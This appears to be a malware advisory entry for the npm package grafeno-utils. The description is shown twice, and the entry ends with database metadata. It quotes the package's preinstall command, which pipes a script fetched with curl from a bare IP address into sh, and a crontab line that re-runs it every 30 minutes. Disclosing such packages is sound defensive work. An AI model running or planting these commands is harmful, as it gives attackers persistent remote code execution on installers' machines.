Malicious code in grafeno-utils (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad) The package's package.json preinstall lifecycle hook uses child_process to run `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and piping it to /bin/bash at `npm install` time. The same preinstall additionally appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, re-fetching and re-executing that remote script every 30 minutes and providing persistent remote code execution on the installer's host beyond the initial install. The destination is a hardcoded bare IPv4 address with no TLS and no integrity check; the fetched content is unpinned and attacker-mutable. This satisfies both install-time remote code execution and a backdoor persistence mechanism against the installer.
Malicious code in grafeno-utils (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad) The package's package.json preinstall lifecycle hook uses child_process to run `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and piping it to /bin/bash at `npm install` time. The same preinstall additionally appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, re-fetching and re-executing that remote script every 30 minutes and providing persistent remote code execution on the installer's host beyond the initial install. The destination is a hardcoded bare IPv4 address with no TLS and no integrity check; the fetched content is unpinned and attacker-mutable. This satisfies both install-time remote code execution and a backdoor persistence mechanism against the installer.
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Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-15509
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a92f7e3acd9273b49e75d2a
Added to database: 08/29/2026, 15:16:51 UTC
Last updated: 08/29/2026, 15:17:15 UTC
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